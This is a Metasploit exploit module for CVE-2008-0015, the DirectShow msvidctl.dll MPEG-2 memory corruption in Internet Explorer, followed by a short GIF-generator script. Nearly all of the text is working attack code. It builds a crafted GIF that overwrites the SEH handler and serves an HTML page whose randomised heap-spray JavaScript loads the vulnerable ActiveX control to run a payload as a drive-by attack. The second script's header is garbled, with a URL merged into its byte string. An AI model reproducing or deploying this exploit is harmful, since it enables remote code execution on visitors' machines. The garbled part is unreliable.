|
##
# msvidctl_mpeg2.rb
#
# Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption exploit for the Metasploit Framework
#
# Tested successfully on the following platforms (fully patched 06/07/09):
# - Internet Explorer 6, Windows XP SP2
# - Internet Explorer 7, Windows XP SP3
#
# Original exploit was found in-the-wild used to preform drive-by attacks via compromised Chinese web sites.
# The original exploit can be found here (shellcode changed to execute calc.exe):
# http://www.rec-sec.com/exploits/aa.rar
#
# Trancer
# http://www.rec-sec.com
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption',
'Description' => %q{
This module exploits a memory corruption within the MSVidCtl component of Microsoft
DirectShow (BDATuner.MPEG2TuneRequest).
By loading a specially crafted GIF file, an attacker can overrun a buffer and
execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE', '2008-0015' ],
[ 'OSVDB', '55651' ],
[ 'BID', '35558' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/972890.mspx' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'Jul 05 2009',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
if (request.uri.match(/\.gif$/i))
print_status("Sending GIF to #{cli.peerhost}:#{cli.peerport}...")
ret = Rex::Text.uri_encode([target.ret].pack('L'))
gif = "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif << "\xFF\xFF\xFF\xFF" # End of SEH chain
gif << [target.ret].pack('V') # SE Handler
gif << "\x00"
send_response(cli, gif, { 'Content-Type' => 'image/gif' })
return
end
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
blocksize = 0x40000
fillto = 500
# Randomize the javascript variable names
msvidctl = rand_text_alpha(rand(100) + 1)
div = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
html = %Q|<html>
<body>
<div id="#{div}">
<script>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
var #{msvidctl}=document.createElement('object');
#{div}.appendChild(#{msvidctl});
#{msvidctl}.width='1';
#{msvidctl}.height='1';
#{msvidctl}.data='#{get_resource + "/" + Time.now.to_i.to_s + ".gif"}';
#{msvidctl}.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
</script>
</body>
</html>|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end
-------------------------------------------------2---------------------------------
#!/usr/bin/ruby
# msvidctl_gif.rb
# Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption GIF generator
#
# Trancer
# http://www.rec-sec.com = "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif << "\xFF\xFF\xFF\xFF" # End of SEH chain
gif << "\x41\x41\x41\x41" # SE Handler
gif << "\x00"
gif
tmpfile = File.new("msvidctl.gif","wb")
tmpfile.write(gif)
tmpfile.close
|
推荐
评论(0条)
